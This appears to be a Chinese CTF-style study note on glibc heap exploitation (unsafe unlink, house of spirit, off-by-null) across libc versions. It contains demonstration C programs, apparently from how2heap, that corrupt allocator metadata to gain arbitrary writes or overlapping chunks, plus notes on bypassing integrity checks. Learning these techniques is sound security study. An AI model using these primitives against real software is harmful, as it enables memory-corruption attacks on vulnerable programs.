unsafe_unlink
libc-2.23
利用条件:1.prevsize位可改 2.size位最后一位可以改为0 3.内存中有一全局变量指向需要unlink的内存
造成的最终结果:该指针指向其地址-3个字长处
unlink的检查:检查fwd->bk == p bck -> fd ==p
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
首先malloc一个堆块,然后再malloc一个smallbin大小的堆块,紧接着,我们需要构造的fakechunk在堆块0中,且大小等于第一次malloc的大小。紧接着,如下图第三行,构造假链表。这个需要根据之前提到的全局变量来构造,从而绕过unlink的检查。
紧接着,改chunk1的prevsize和prev-inuse位
最后freechunk1就行了。
libc-2.27
这个唯一改动的就是chunk1的大小,应该要大于tcache的最大大小(0x400),这样就可以直接放进unsortedbin了。
glibc 2.23
检查p和其前后的chunk是否构成双向链表
检查p和其前后的large chunk的nextsize域是否构成双向链表
glibc 2.27 2.29 新增加一下保护
检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
house of spirit
libc-2.23
适用于:
1.在某处可以构建两个fakechunk
2.可以溢出改chunk的fd指针
就相当于做一个假的chunk然后改fd指针,使其继续malloc可以到假chunk处。
需要绕过的检查:
如果解题思路是先free,再给他malloc回来,这个时候就需要绕过free和malloc函数两个的检查
free到fastbin:
a.地址和size位需要对对齐
b. ISMMAP 位不能为 1
c.需要有一个相邻的nextchunk,且prev_inuse位为1
从fastbin malloc:
a.prev_inuse必须等于1
b.必须满足该fastbinsize大小
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
注意,第一个fakechunk的后三位中的第二位需要为0。
off-by-null
适用:就是说有一个字节的溢出,且溢出字节为null时。
造成结果:overlapping
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);
barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);
//uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
//printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);
printf("b1: %p\n",b1);
//printf("Now we malloc 'b1'. It will be placed where 'b' was. "
//"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x80);
printf("b2: %p\n",b2);
memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");
assert(strstr(b2, "DDDDDDDDDDDD"));
先插入四个堆块
将这四个堆块称为0,1,2,3。
接下来,我们要做的是free掉1,然后用0的off-by-null来做到:1.先将2的pre位设置为0x210,接着将2的prev-inuse位设置为0。2.接着将1的size减少10。
注意第二张图第一个位置需要为0x200,为什么,因为当合并时触发unlink的话,需要nextchunk prevsize == chunksize(p)
然后接下来malloc一个大于fastbin范围内的堆块4,再malloc一个堆块5(按需)。这两个堆块都会在堆块1里面。
然后我们free4,3,会发现3的prevsize位会使堆块寻址寻到4的地方,然后进行合并,然后如果再申请一个2大小的堆块,就会把5overlapping。
但是感觉这个方法不太对,因为free了之后那个0x200无法给他填写进去。所以我在网上找了一个更普遍的方法。
首先add三个chunk,然后将chunk3溢出一个字节为\x00,并且设置presize使其能够寻址到chunk0,再在chunk3内容中伪造好另一个chunk头,使其不会出现报错。然后free掉chunk3和chunk1即可。
libc-2.27
改变的地方是chunk的大小需要控制,因为不能使其进入tcache。
libc-2.31
libc-2.31的off-by-null会复杂很多,也让我了解了largebin和smallbin的基本情况,先说说,这里放一个链接:(45条消息) ptmalloc代码浅析2(small bin/large bin结构图)_zero_lee的博客-CSDN博客,这是另一个师傅的博客,里面比较清楚的讲解了largebin和smallbin内的指针布局情况。
然后经过自己调试,也发现当把largebin和smallbin free再malloc回来其中指针都会保留,这样就可以进行利用
经过查阅资料,发现libc-2.29之后向低地址合并多了一个检查,所以以前libc-2.23的方法就不行了。
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
这块真给我磨了两天,我们讨论的是保护全开,并且off-by-one发生在add上,没有show函数的情况。
放一下原文链接:[原创]glibc2.29下的off-by-null-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)